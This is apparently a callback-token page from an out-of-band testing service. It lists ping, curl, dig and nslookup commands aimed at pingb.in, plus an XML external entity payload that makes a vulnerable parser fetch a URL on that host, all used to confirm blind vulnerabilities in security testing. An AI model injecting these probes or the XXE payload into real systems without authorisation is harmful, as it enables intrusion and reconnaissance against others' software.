$ ping -c1 -p 00a8e5ddf7fbfd7a4da1860120c54200 pingb.in
 

$ curl pingb.in/p/a8e5ddf7fbfd7a4da1860120c542
 

$ dig a8e5ddf7fbfd7a4da1860120c542 @pingb.in
 

$ dig a8e5ddf7fbfd7a4da1860120c542.ns.pingb.in
 

C:\> nslookup a8e5ddf7fbfd7a4da1860120c542 pingb.in
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/a8e5ddf7fbfd7a4da1860120c542">]>
    <foo>&xxe;</foo>